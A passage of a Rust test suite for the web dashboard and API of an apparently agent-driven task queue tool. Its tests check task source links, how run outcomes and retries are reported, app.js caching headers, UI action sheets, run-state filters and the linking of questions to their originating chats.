24167 (run.kind, run.href.as_str()),
24168 ("run", "#/runs/20260904-014455-ab12")
24169 );
24170 assert_eq!(source_link(&Source::Human), None);
24171 assert_eq!(
24172 source_link(&Source::Issue {
24173 number: 3,
24174 repo: "o/r".to_owned()
24175 }),
24176 None
24177 );
24178 let odd = source_link(&Source::Agent {
24179 run: "a b/c".to_owned(),
24180 node: "chat".to_owned(),
24181 })
24182 .expect("link");
24183 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
24184 }
24185
24186 #[test]
24187 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
24188 assert!(
24189 !APP_JS.contains("src.node === \"chat\""),
24190 "inline href rule is back"
24191 );
24192 assert!(
24193 APP_JS.matches("sourceLinkOf(").count() >= 4,
24194 "helper must serve every page"
24195 );
24196 assert!(
24197 APP_JS.matches("openChatLink(").count() >= 3,
24198 "the run page still needs its explicit chat link"
24199 );
24200 assert!(
24201 !APP_JS.contains("const openChat = el("),
24202 "the Queue card duplicates its source label link again"
24203 );
24204 assert!(
24205 APP_JS.contains("metaKids.push(link ? el(\"a\""),
24206 "the task page must link a chat source label too"
24207 );
24208 }
24209
24210 #[test]
24211 fn task_ref_carries_the_source_link_for_a_chat_task() {
24212 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
24213 t.source = Source::Agent {
24214 run: "20260904-014455-ab12".to_owned(),
24215 node: "chat".to_owned(),
24216 };
24217 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
24218 let v = serde_json::to_value(&out).expect("json");
24219 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
24220 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
24221 assert_eq!(v["source_label"], t.source.label());
24222
24223 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
24224 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
24225 .expect("json");
24226 assert!(v["source_link"].is_null(), "{v}");
24227 }
24228
24229 #[test]
24230 fn task_view_serializes_source_link() {
24231 let mut t = Task::new(
24232 "t".to_owned(),
24233 "t".to_owned(),
24234 PathBuf::from("/repo"),
24235 Source::Agent {
24236 run: "20260901-000000-aaaa".to_owned(),
24237 node: "implement".to_owned(),
24238 },
24239 );
24240 t.runs.clear();
24241 let v = serde_json::to_value(TaskView::from(t)).expect("json");
24242 assert_eq!(v["source_link"]["kind"], "run", "{v}");
24243 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
24244 }
24245
24246 #[test]
24247 fn task_view_serializes_urgent_flag() {
24248 let mut t = Task::new(
24249 "t".to_owned(),
24250 "t".to_owned(),
24251 PathBuf::from("/repo"),
24252 Source::Human,
24253 );
24254 let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
24255 assert_eq!(v["urgent"], false, "{v}");
24256 t.urgent = true;
24257 let v = serde_json::to_value(TaskView::from(t)).expect("json");
24258 assert_eq!(v["urgent"], true, "{v}");
24259 assert!(APP_JS.contains("task.urgent === true"));
24260 }
24261
24262 #[tokio::test]
24263 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
24264 let fx = Fixture::start().await;
24265 let runs = fx.runs();
24266 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
24267 write_run(&runs, old, RunStatus::Blocked);
24268 write_run(&runs, new, RunStatus::Merged);
24269 let mut t = outcome_task(&[old, new], TaskStatus::Done);
24270 fx.queue().put(&mut t).expect("put");
24271
24272 let view = fx.get(&format!("/api/runs/{old}")).await.json();
24273 let task = &view["task"];
24274 assert_eq!(task["status"], "done");
24275 assert_eq!(task["is_latest"], false);
24276 assert_eq!(task["latest"]["short"], "bbbb");
24277 assert_eq!(task["finished_by"]["id"], new);
24278 assert_eq!(task["finished_by"]["outcome"], "merged");
24279 assert_eq!(task["closed_by_hand"], false);
24280 assert_eq!(view["status"], "blocked", "the run keeps its own status");
24281 assert!(APP_JS.contains("finished_by"));
24282 assert!(APP_JS.contains("superseded by run"));
24283 }
24284
24285 #[tokio::test]
24286 async fn the_latest_run_reports_a_held_task_without_a_successor() {
24287 let fx = Fixture::start().await;
24288 let runs = fx.runs();
24289 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
24290 write_run(&runs, old, RunStatus::Stalled);
24291 write_run(&runs, new, RunStatus::Blocked);
24292 let mut t = outcome_task(&[old, new], TaskStatus::Held);
24293 fx.queue().put(&mut t).expect("put");
24294
24295 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
24296 assert_eq!(task["status"], "held");
24297 assert_eq!(task["is_latest"], true);
24298 assert!(task["latest"].is_null());
24299 assert!(task["finished_by"].is_null());
24300 assert_eq!(task["closed_by_hand"], false);
24301 }
24302
24303 #[tokio::test]
24304 async fn a_direct_run_has_no_task_outcome() {
24305 let fx = Fixture::start().await;
24306 let runs = fx.runs();
24307 let id = "20260901-000000-aaaa";
24308 write_run(&runs, id, RunStatus::Blocked);
24309 let view = fx.get(&format!("/api/runs/{id}")).await.json();
24310 assert!(view["task"].is_null());
24311 }
24312
24313 #[test]
24314 fn task_outcome_does_not_guess_a_finishing_run() {
24315 let a = "20260901-000000-aaaa";
24316 let b = "20260901-000000-bbbb";
24317 let c = "20260901-000000-cccc";
24318 let dir = tempfile::tempdir().expect("tempdir");
24319 write_run(dir.path(), a, RunStatus::Blocked);
24320 write_run(dir.path(), b, RunStatus::VerifiedNoop);
24321 let read = |id: &str| read_run(dir.path(), id).ok();
24323 let t = outcome_task(&[a, b, c], TaskStatus::Done);
24326 let out = task_outcome(&t, a, 3, read);
24327 assert!(out.finished_by.is_none());
24328 assert!(out.closed_by_hand);
24329 let latest = out.latest.expect("latest");
24330 assert_eq!(latest.id, c);
24331 assert_eq!(latest.status, None);
24332 assert_eq!(latest.outcome, "record unreadable");
24333
24334 write_run(dir.path(), c, RunStatus::Ready);
24336 let t = outcome_task(&[a, c], TaskStatus::Done);
24337 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
24338 assert_eq!(out.finished_by.expect("finisher").id, c);
24339 assert!(!out.closed_by_hand);
24340
24341 let t = outcome_task(&[a, b, a], TaskStatus::Held);
24343 assert!(task_outcome(&t, a, 3, read).is_latest);
24344 }
24345
24346 #[tokio::test]
24347 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
24348 let fx = Fixture::start().await;
24353 let q = fx.queue();
24354 let runs = fx.runs();
24355 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
24356 write_run(&runs, first, RunStatus::Blocked);
24357 write_run(&runs, second, RunStatus::Merged);
24358
24359 let mut t = Task::new(
24360 "one task".to_owned(),
24361 "do it".to_owned(),
24362 PathBuf::from("/repo"),
24363 Source::Human,
24364 );
24365 t.runs = vec![first.to_owned(), second.to_owned()];
24366 q.put(&mut t).expect("put");
24367
24368 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
24369 assert_eq!(earlier["superseded_by"], "dddd");
24370 assert_eq!(earlier["latest_attempt"]["id"], second);
24371 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
24372 assert_eq!(
24373 earlier["latest_attempt"]["resolved"], true,
24374 "the run that replaced it landed, so this one reads as settled"
24375 );
24376
24377 let later = fx.get(&format!("/api/runs/{second}")).await.json();
24378 assert!(
24379 later["superseded_by"].is_null(),
24380 "the latest attempt is not superseded by anything"
24381 );
24382 assert!(
24383 later["latest_attempt"].is_null(),
24384 "the latest attempt has no later attempt of its own"
24385 );
24386
24387 assert!(APP_JS.contains("run.latest_attempt"));
24394 assert!(APP_JS.contains("data-superseded"));
24395 assert!(APP_JS.contains("#/runs/${latest.id}"));
24396 }
24397
24398 #[tokio::test]
24399 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
24400 let fx = Fixture::start().await;
24406 let q = fx.queue();
24407 let runs = fx.runs();
24408 let (a, b, c) = (
24409 "20260901-000000-aaaa",
24410 "20260901-000000-bbbb",
24411 "20260901-000000-cccc",
24412 );
24413 write_run(&runs, a, RunStatus::Blocked);
24414 write_run(&runs, b, RunStatus::Blocked);
24415 write_run(&runs, c, RunStatus::Merged);
24416
24417 let mut t = Task::new(
24418 "retried twice".to_owned(),
24419 "do it".to_owned(),
24420 PathBuf::from("/repo"),
24421 Source::Human,
24422 );
24423 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
24424 q.put(&mut t).expect("put");
24425
24426 let view = fx.get(&format!("/api/runs/{a}")).await.json();
24427 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
24428 assert_eq!(
24429 view["latest_attempt"]["id"], c,
24430 "the chain's current head, not the intermediate Blocked retry"
24431 );
24432 assert_eq!(view["latest_attempt"]["resolved"], true);
24433
24434 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
24435 assert_eq!(mid["latest_attempt"]["id"], c);
24436 assert_eq!(mid["latest_attempt"]["resolved"], true);
24437 }
24438
24439 #[tokio::test]
24440 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
24441 let fx = Fixture::start().await;
24442 let q = fx.queue();
24443 let runs = fx.runs();
24444
24445 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
24448 write_run(&runs, still_blocked_a, RunStatus::Blocked);
24449 write_run(&runs, still_blocked_b, RunStatus::Blocked);
24450 let mut t1 = Task::new(
24451 "still stuck".to_owned(),
24452 "do it".to_owned(),
24453 PathBuf::from("/repo"),
24454 Source::Human,
24455 );
24456 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
24457 q.put(&mut t1).expect("put");
24458 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
24459 assert_eq!(view1["latest_attempt"]["resolved"], false);
24460 assert_eq!(view1["latest_attempt"]["status"], "blocked");
24461 assert_eq!(view1["latest_attempt"]["done"], true);
24462
24463 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
24465 write_run(&runs, run_a, RunStatus::Blocked);
24466 write_run(&runs, run_b, RunStatus::Implementing);
24467 let mut t3 = Task::new(
24468 "retrying".to_owned(),
24469 "do it".to_owned(),
24470 PathBuf::from("/repo"),
24471 Source::Human,
24472 );
24473 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
24474 q.put(&mut t3).expect("put");
24475 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
24476 assert_eq!(view3["latest_attempt"]["id"], run_b);
24477 assert_eq!(view3["latest_attempt"]["resolved"], false);
24478 assert_eq!(view3["latest_attempt"]["done"], false);
24479
24480 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
24485 write_run(&runs, noop_a, RunStatus::Blocked);
24486 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
24487 let mut t2 = Task::new(
24488 "claims done".to_owned(),
24489 "do it".to_owned(),
24490 PathBuf::from("/repo"),
24491 Source::Human,
24492 );
24493 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
24494 q.put(&mut t2).expect("put");
24495 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
24496 assert_eq!(
24497 view2["latest_attempt"]["resolved"], false,
24498 "an unverified no-op claim must not read as a confirmed finish"
24499 );
24500
24501 assert!(APP_JS.contains("latest.resolved"));
24504 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
24507 assert!(APP_JS.contains("Latest attempt: "));
24508 assert!(APP_JS.contains("in flight"));
24509 assert!(APP_JS.contains("not resolved"));
24510 }
24511
24512 #[tokio::test]
24513 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
24514 let fx = Fixture::start().await;
24515 let js = fx.get("/app.js").await;
24521 assert_eq!(js.status, 200);
24522 let tag = js
24523 .header("etag")
24524 .expect("an etag to revalidate against")
24525 .to_owned();
24526 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
24527 assert_eq!(
24528 js.header("cache-control"),
24529 Some("no-cache, must-revalidate"),
24530 "the phone has to ask every time"
24531 );
24532
24533 let again = fx
24536 .get_with("/app.js", &[("if-none-match", tag.as_str())])
24537 .await;
24538 assert_eq!(
24539 again.status, 304,
24540 "a deck it already has costs one round trip"
24541 );
24542 assert!(again.body.is_empty(), "304 carries no body");
24543
24544 let weak = fx
24547 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
24548 .await;
24549 assert_eq!(weak.status, 304);
24550 let stale = fx
24551 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
24552 .await;
24553 assert_eq!(stale.status, 200, "an older build must be replaced");
24554 assert!(stale.body.contains("renderRunActions"));
24555 }
24556
24557 #[test]
24558 fn the_task_detail_has_an_actions_fab_and_sheet() {
24559 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
24560 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
24561 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
24562 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
24564 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
24565 assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
24567 assert!(APP_JS.contains("renderTaskActions(null);"));
24568 let (_, sheet) = APP_JS
24571 .split_once("function renderTaskActions(task) {")
24572 .expect("sheet renderer");
24573 let (body, _) = sheet
24574 .split_once("\nfunction openTaskActions() {")
24575 .expect("end of sheet renderer");
24576 assert!(body.contains("changePriority("));
24577 assert!(body.contains("openTaskEdit(task)"));
24578 assert!(body.contains("renderTaskHoldBox(host"));
24579 assert!(body.contains("renderTaskDoneBox(host"));
24580 assert!(body.contains("renderTaskDeleteBox(host"));
24581 assert!(APP_JS.contains("API.priority(id)"));
24582 assert!(APP_JS.contains("API.deleteTask(id)"));
24583 assert!(APP_JS.contains("location.hash = \"#/queue\""));
24585 assert!(APP_JS.contains("$(\"task-actions-error\")"));
24587 }
24588
24589 #[test]
24590 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
24591 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
24592 let actions = INDEX_HTML
24593 .find("id=\"run-actions-box\"")
24594 .expect("actions box");
24595 assert!(task < actions, "the task entry comes first in the sheet");
24596 assert!(APP_JS.contains("renderRunTaskEntry"));
24597 assert!(APP_JS.contains("\"Open task \""));
24598 assert!(APP_JS.contains("started directly, no task"));
24600 assert!(APP_JS.contains("sheet-task-link"));
24601 assert!(APP_JS.contains("task-chip-link"));
24602 }
24603
24604 #[test]
24605 fn the_deck_never_sends_the_operator_to_a_terminal() {
24606 assert!(
24609 !APP_JS.contains("Run `magi fold` first"),
24610 "the deck must offer the fold, not prescribe a shell command"
24611 );
24612 assert!(APP_JS.contains("foldRun:"));
24613 assert!(APP_JS.contains("resumeRun:"));
24614 assert!(APP_JS.contains("renderRunActions"));
24615
24616 assert!(APP_JS.contains("armedFold"));
24618 assert!(APP_JS.contains("Yes, fold worktrees"));
24619
24620 assert!(APP_JS.contains("can no longer be resumed"));
24623 }
24624
24625 #[test]
24626 fn a_finished_run_explains_itself_with_its_own_last_line() {
24627 assert!(
24633 !APP_JS.contains("collapsed on agent quota"),
24634 "a stall must not be explained by a cause the deck did not check"
24635 );
24636 assert!(
24637 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
24638 "and a block must not offer a guess with an `or` in it"
24639 );
24640
24641 assert!(
24645 APP_JS.contains("setText(r.event, run.event || \"\")"),
24646 "the run's last line is rendered unconditionally"
24647 );
24648 assert!(
24649 !APP_JS.contains("moving && run.event"),
24650 "and never gated on the run still moving"
24651 );
24652
24653 assert!(APP_JS.contains("lost to quota"));
24655 }
24656
24657 #[test]
24679 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
24680 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
24681 let shapes_body_start =
24682 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
24683 let shapes_close = APP_JS[shapes_body_start..]
24684 .find("].map(")
24685 .expect("the shape list is closed by its done-computing .map(...)")
24686 + shapes_body_start;
24687 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
24688
24689 let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
24690 for entry in shapes_src.split('{').skip(1) {
24691 let waiting = entry.contains("waiting: true");
24692 let dead = entry.contains("live: \"dead\"");
24693 let status_at =
24694 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
24695 let status_end = entry[status_at..]
24696 .find('"')
24697 .expect("the status string is closed")
24698 + status_at;
24699 let parked = entry.contains("display_status: \"parked\"");
24700 shapes.push((
24701 waiting,
24702 entry[status_at..status_end].to_string(),
24703 dead,
24704 parked,
24705 ));
24706 }
24707 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
24708
24709 let done_rule_marker = "done: !";
24713 let done_rule_at = APP_JS[shapes_close..]
24714 .find(done_rule_marker)
24715 .expect("the done rule follows the shape list")
24716 + shapes_close
24717 + done_rule_marker.len();
24718 let includes_at = APP_JS[done_rule_at..]
24719 .find(".includes(shape.status)")
24720 .expect("the done rule ends in .includes(shape.status)")
24721 + done_rule_at;
24722 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
24723 .trim()
24724 .trim_start_matches('[')
24725 .trim_end_matches(']')
24726 .split(',')
24727 .map(|s| s.trim().trim_matches('"'))
24728 .filter(|s| !s.is_empty())
24729 .collect();
24730
24731 let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
24732 .into_iter()
24733 .map(|(waiting, status, dead, parked)| {
24734 let done = !not_done.contains(&status.as_str());
24735 (waiting, status, dead, parked, done)
24736 })
24737 .collect();
24738
24739 fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
24743 if waiting {
24744 return "waiting";
24745 }
24746 if dead
24747 && !parked
24748 && !matches!(
24749 status,
24750 "merged"
24751 | "ready"
24752 | "stalled"
24753 | "blocked"
24754 | "failed"
24755 | "verified_noop"
24756 | "superseded"
24757 | "already_in_base"
24758 )
24759 {
24760 return "stale";
24761 }
24762 match status {
24763 "merged" | "ready" => "landed",
24764 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
24765 | "already_in_base" => "ended",
24766 _ => "flight",
24767 }
24768 }
24769
24770 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
24773 match filter_key {
24774 "active" => !done,
24775 "flight" => !done && !waiting && !dead,
24776 "stale" => !done && !waiting && dead,
24777 "waiting" => waiting,
24778 "done" => done,
24779 "all" => true,
24780 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
24781 }
24782 }
24783
24784 let compatible = |section: &str, filter_key: &str| {
24785 shapes.iter().any(|(waiting, status, dead, parked, done)| {
24786 run_section(*waiting, status, *dead, *parked) == section
24787 && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
24788 })
24789 };
24790
24791 let expected = [
24796 ("waiting", [true, false, false, true, true, true]),
24797 ("stale", [true, false, true, false, false, true]),
24798 ("flight", [true, true, false, false, false, true]),
24799 ("landed", [false, false, false, false, true, true]),
24800 ("ended", [false, false, false, false, true, true]),
24801 ];
24802 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
24803
24804 for (section, wants) in expected {
24805 for (filter_key, want) in filter_keys.iter().zip(wants) {
24806 assert_eq!(
24807 compatible(section, filter_key),
24808 want,
24809 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
24810 );
24811 }
24812 }
24813
24814 assert!(
24817 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
24818 );
24819 assert!(APP_JS.contains(
24820 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
24821 ));
24822 assert!(APP_JS.contains(
24823 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
24824 ));
24825 }
24826
24827 #[tokio::test]
24828 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
24829 let dir = tempfile::tempdir().expect("tempdir");
24833 let explicit = dir.path().join("not-a-checkout");
24834 std::fs::create_dir_all(&explicit).expect("create dir");
24835 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
24836
24837 let missing = dir.path().join("does-not-exist-at-all");
24838 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
24839 }
24840
24841 #[test]
24842 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
24843 assert!(APP_JS.contains("function statsDonutArcs"));
24844 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
24845 assert!(APP_JS.contains("function statusInBucket"));
24847 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
24848 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
24849 let buckets = [
24850 "merged",
24851 "ready",
24852 "in_progress",
24853 "blocked",
24854 "failed",
24855 "verified_noop",
24856 "superseded",
24857 "stalled",
24858 ];
24859 for key in buckets {
24860 let var = format!("--verdict-{key}:");
24861 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
24863 assert!(
24864 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
24865 "{key}"
24866 );
24867 }
24868 }
24869
24870 #[tokio::test]
24871 async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
24872 let dir = tempfile::tempdir().expect("tempdir");
24873 let queue = Queue::at(dir.path().join("queue"));
24874 let talks = Talks::at(dir.path().join("talks"));
24875 std::fs::create_dir_all(queue.root()).unwrap();
24876 std::fs::create_dir_all(talks.root()).unwrap();
24877
24878 std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
24880 std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
24881
24882 let mut task = Task::new(
24884 "title".into(),
24885 "inst".into(),
24886 PathBuf::from("/repo"),
24887 Source::Human,
24888 );
24889 task.id = "20261019-123456-abcd".into();
24890 std::fs::write(
24892 queue.path_of(&task.id),
24893 serde_json::to_string(&task).unwrap(),
24894 )
24895 .unwrap();
24896
24897 let talk_id = "20261019-234567-cdef";
24898 seed_talk_at(&talks, talk_id, "open");
24899
24900 assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
24902 assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
24903
24904 assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
24906 assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
24907 }
24908
24909 #[tokio::test]
24910 async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
24911 let home = tempfile::tempdir().unwrap();
24912 let ui = delta_test_ui(home.path());
24913 std::fs::write(ui.queue.root(), "not a directory").unwrap();
24915 std::fs::write(ui.talks.root(), "not a directory").unwrap();
24916 assert!(
24917 questions_list(State(ui.clone()))
24918 .await
24919 .unwrap()
24920 .0
24921 .is_empty()
24922 );
24923 assert!(
24924 question_origins(State(ui.clone()))
24925 .await
24926 .unwrap()
24927 .0
24928 .is_empty()
24929 );
24930 let mut question = Question::new(
24931 "run-history".into(),
24932 "review".into(),
24933 "seat".into(),
24934 "Useful question".into(),
24935 "Useful detail".into(),
24936 vec![],
24937 );
24938 ui.questions.put(&mut question).unwrap();
24939 let core = questions_core(State(ui.clone())).await.unwrap().0;
24940 assert_eq!(core.len(), 1);
24941 assert_eq!(core[0].question.summary, "Useful question");
24942 assert!(!core[0].can_consult_chat);
24943 assert!(core[0].origin_chat.is_none());
24944 assert_eq!(core[0].record_revision, question_record_revision(&question));
24945 assert!(question_origins(State(ui.clone())).await.is_err());
24946 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
24947 }
24948
24949 #[tokio::test]
24950 async fn question_origins_resolve_typed_links_without_expanding_consultation() {
24951 let home = tempfile::tempdir().unwrap();
24952 let ui = delta_test_ui(home.path());
24953 let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
24954 let mut parent = Task::new(
24955 "parent".into(),
24956 "body".into(),
24957 PathBuf::from("/repo"),
24958 Source::Agent {
24959 run: chat.clone(),
24960 node: crate::queue::CHAT_NODE.into(),
24961 },
24962 );
24963 parent.id = "parent-task".into();
24964 parent.runs = vec!["parent-run".into()];
24965 ui.queue.put(&mut parent).unwrap();
24966 let mut previous = parent;
24967 for generation in 1..=2 {
24968 let mut child = Task::new(
24969 "child".into(),
24970 "body".into(),
24971 PathBuf::from("/repo"),
24972 Source::Human,
24973 );
24974 child.id = format!("child-task-{generation}");
24975 child.runs = vec![format!("child-run-{generation}")];
24976 child.followup = Some(crate::queue::FollowUp {
24977 origin_task: Some(previous.id.clone()),
24978 run: previous.runs[0].clone(),
24979 pr: String::new(),
24980 findings: vec![],
24981 generation,
24982 });
24983 ui.queue.put(&mut child).unwrap();
24984 previous = child;
24985 }
24986 let mut collision = Task::new(
24989 "collision".into(),
24990 String::new(),
24991 PathBuf::from("/repo"),
24992 Source::Human,
24993 );
24994 collision.id = "collision-task".into();
24995 collision.runs = vec![previous.id.clone()];
24996 ui.queue.put(&mut collision).unwrap();
24997 let mut questions = Vec::new();
24998 for (node, reference, expected, eligible) in [
24999 (crate::triage::NODE, previous.id.as_str(), true, false),
25000 (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
25001 ("review", previous.runs[0].as_str(), true, true),
25002 (
25003 crate::bump::NOTICE_NODE,
25004 previous.runs[0].as_str(),
25005 true,
25006 false,
25007 ),
25008 ("review", previous.id.as_str(), false, false),
25010 (crate::triage::NODE, previous.runs[0].as_str(), false, true),
25011 ("review", "unrelated", false, false),
25012 ] {
25013 let mut q = Question::new(
25014 reference.into(),
25015 node.into(),
25016 "seat".into(),
25017 "Question".into(),
25018 String::new(),
25019 vec![],
25020 );
25021 ui.questions.put(&mut q).unwrap();
25022 questions.push((q, expected, eligible));
25023 }
25024 for (node, reference, associated, eligible) in [
25025 (crate::reconcile::NODE, previous.id.as_str(), true, false),
25026 (
25027 crate::reconcile::NODE,
25028 previous.runs[0].as_str(),
25029 false,
25030 true,
25031 ),
25032 ("implement", previous.id.as_str(), false, false),
25033 ] {
25034 let mut q = Question::new(
25035 reference.into(),
25036 node.into(),
25037 crate::reconcile::SEAT.into(),
25038 "Reconcile".into(),
25039 String::new(),
25040 vec![],
25041 );
25042 ui.questions.put(&mut q).unwrap();
25043 questions.push((q, associated, eligible));
25044 }
25045 let mut release = Question::new(
25046 "release-record".into(),
25047 crate::bump::NOTICE_NODE.into(),
25048 "release-watch".into(),
25049 "Release".into(),
25050 String::new(),
25051 vec![],
25052 );
25053 ui.questions.put(&mut release).unwrap();
25054 let watch = crate::release_watch::WatchState {
25055 question: Some(release.id.clone()),
25056 run: Some(previous.runs[0].clone()),
25057 held_task: Some(previous.id.clone()),
25058 ..Default::default()
25059 };
25060 let watch_dir = home.path().join("release-watch");
25061 std::fs::create_dir_all(&watch_dir).unwrap();
25062 let watch_path = watch_dir.join("watch.json");
25063 std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
25064 for batch in [
25066 Vec::new(),
25067 questions.iter().map(|(q, _, _)| q.clone()).collect(),
25068 ] {
25069 let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
25070 assert!(watches.is_empty());
25071 }
25072 questions.push((release.clone(), true, false));
25073
25074 let views = questions_list(State(ui.clone())).await.unwrap().0;
25075 let origins = question_origins(State(ui.clone())).await.unwrap().0;
25076 for (q, associated, eligible) in &questions {
25077 let view = views.iter().find(|view| view.question.id == q.id).unwrap();
25078 let origin = origins.iter().find(|view| view.id == q.id).unwrap();
25079 let expected = associated.then_some(chat.as_str());
25080 assert_eq!(
25081 view.origin_chat.as_deref(),
25082 expected,
25083 "{} {}",
25084 q.node,
25085 q.run
25086 );
25087 assert_eq!(origin.origin_chat.as_deref(), expected);
25088 assert_eq!(view.origin_chat_closed, *associated);
25089 assert_eq!(origin.origin_chat_closed, *associated);
25090 assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
25091 assert_eq!(origin.can_consult_chat, *eligible);
25092 }
25093 for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
25095 let link = crate::release_watch::WatchState {
25096 run,
25097 held_task,
25098 ..watch.clone()
25099 };
25100 std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
25101 let (tasks, talks, watches) =
25102 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
25103 assert_eq!(
25104 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
25105 .unwrap()
25106 .id,
25107 chat,
25108 );
25109 assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
25110 }
25111 std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
25112 let duplicate_path = watch_dir.join("duplicate.json");
25114 std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
25115 let (tasks, talks, watches) =
25116 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
25117 assert!(
25118 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
25119 .is_none()
25120 );
25121 std::fs::remove_file(duplicate_path).unwrap();
25122 let mut unrelated = Task::new(
25124 "other".into(),
25125 String::new(),
25126 PathBuf::from("/repo"),
25127 Source::Human,
25128 );
25129 unrelated.id = "unrelated-task".into();
25130 ui.queue.put(&mut unrelated).unwrap();
25131 let mut conflicting = watch.clone();
25132 conflicting.held_task = Some(unrelated.id);
25133 std::fs::write(
25134 watch_dir.join("conflict.json"),
25135 serde_json::to_vec(&conflicting).unwrap(),
25136 )
25137 .unwrap();
25138 let (tasks, talks, watches) =
25139 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
25140 assert!(
25141 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
